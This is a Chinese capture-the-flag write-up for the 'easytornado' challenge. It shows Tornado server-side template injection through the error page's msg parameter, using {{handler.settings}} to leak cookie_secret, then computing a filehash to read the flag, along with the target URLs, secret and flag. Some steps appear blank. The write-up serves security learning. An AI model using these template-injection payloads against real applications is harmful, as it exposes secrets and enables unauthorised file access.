攻防世界 easytornado
进入靶机,页面为
打开/flag.txt,提示
|
打开/welcome.txt,提示
|
在tornado
中render为渲染作用
打开/hints.txt,提示
|
提示的是filehash参数的计算方法
通过上面三个的分析,可以得出,我们需要构建一个url为
|
fllllllllllllag的md5值为594cb6af684ad354b4a59ac496473990
接下来要找到cookie_secret
cookie_secret获取方法如下:
render是一个类似模板的东西,可以使用不同的参数来访问网页
在tornado模板中,存在一些可以访问的快速对象,例如{{ escape(handler.settings[“cookie”]) }}
这两个{{}}
和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
原文链接:https://blog.csdn.net/yuanxu8877/article/details/128079863
首先我们url输入http://61.147.171.105:62044/file?filename=/flag.txt&filehash=
进入错误页面
输入http://61.147.171.105:62044/error?msg={{1}}
页面返回1,说明存在漏洞,在此处直接注入
url输入http://61.147.171.105:62044/error?msg={{handler.settings}}
回显
得到cookie_secret值:4beb94e3-3a69-4960-92ab-f83221330eec
编写脚本获取filehash
|
得到filehash:835b3dbf7a8aabcf5b566e0c276b610c
payload:http://61.147.171.105:62044/file?filename=/fllllllllllllag&filehash=835b3dbf7a8aabcf5b566e0c276b610c
得到flag:flag{3f39aea39db345769397ae895edb9c70}